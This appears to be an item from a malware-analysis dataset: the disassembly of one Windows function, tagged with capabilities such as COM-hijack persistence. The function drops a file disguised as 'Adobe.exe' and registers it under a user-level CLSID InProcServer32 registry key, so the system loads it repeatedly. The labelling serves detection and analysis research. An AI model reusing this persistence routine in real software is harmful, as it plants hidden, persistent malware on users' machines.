Function at 0x140003b80
Capabilities:
Get common file path
Persist via com hijack
Set registry value
Write file on windows

Disassembly:
sub rsp, 0xa8
mov dword [rsp + 0x64], 0
mov byte [rsp + 0x60], 0
mov dword [rsp + 0x80], 0x104
mov ecx, 0x104
call fcn.140003b10
mov qword [rsp + 0x68], rax
lea r9, [rsp + 0x68]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140005fd0]
call sub.SHELL32.dll_SHGetKnownFolderPath
mov r9, qword [str.Adobe.exe]
mov r8, qword [rsp + 0x68]
lea rdx, [0x1400057c8]
mov rcx, qword [0x140008170]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
mov r8d, 0x104
mov rdx, qword [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [0x140008170]
call fcn.140003320
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [0x140007020]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x64]
mov r8d, 0xc00
lea rdx, [0x1400070b0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, str.10D62541_90D0_42FE_848C_0DBC1AC42EDA
mov qword [rsp + 0x88], rax
lea rax, str.InProcServer32
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [0x140005930]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140003ce7
mov eax, 1
jmp 0x140003e9b
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140003d4c
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x140003e9b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREClassesCLSID10D62541_90D0_42FE_848C_0DBC1AC42EDA
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140003d93
mov eax, 1
jmp 0x140003e9b
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140003df8
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x140003e9b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREClassesCLSID10D62541_90D0_42FE_848C_0DBC1AC42EDAInProcServer32
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140003e3c
mov eax, 1
jmp 0x140003e9b
mov rcx, qword [0x140007020]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [0x140007020]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140003e8e
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x140003e9b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
add rsp, 0xa8
ret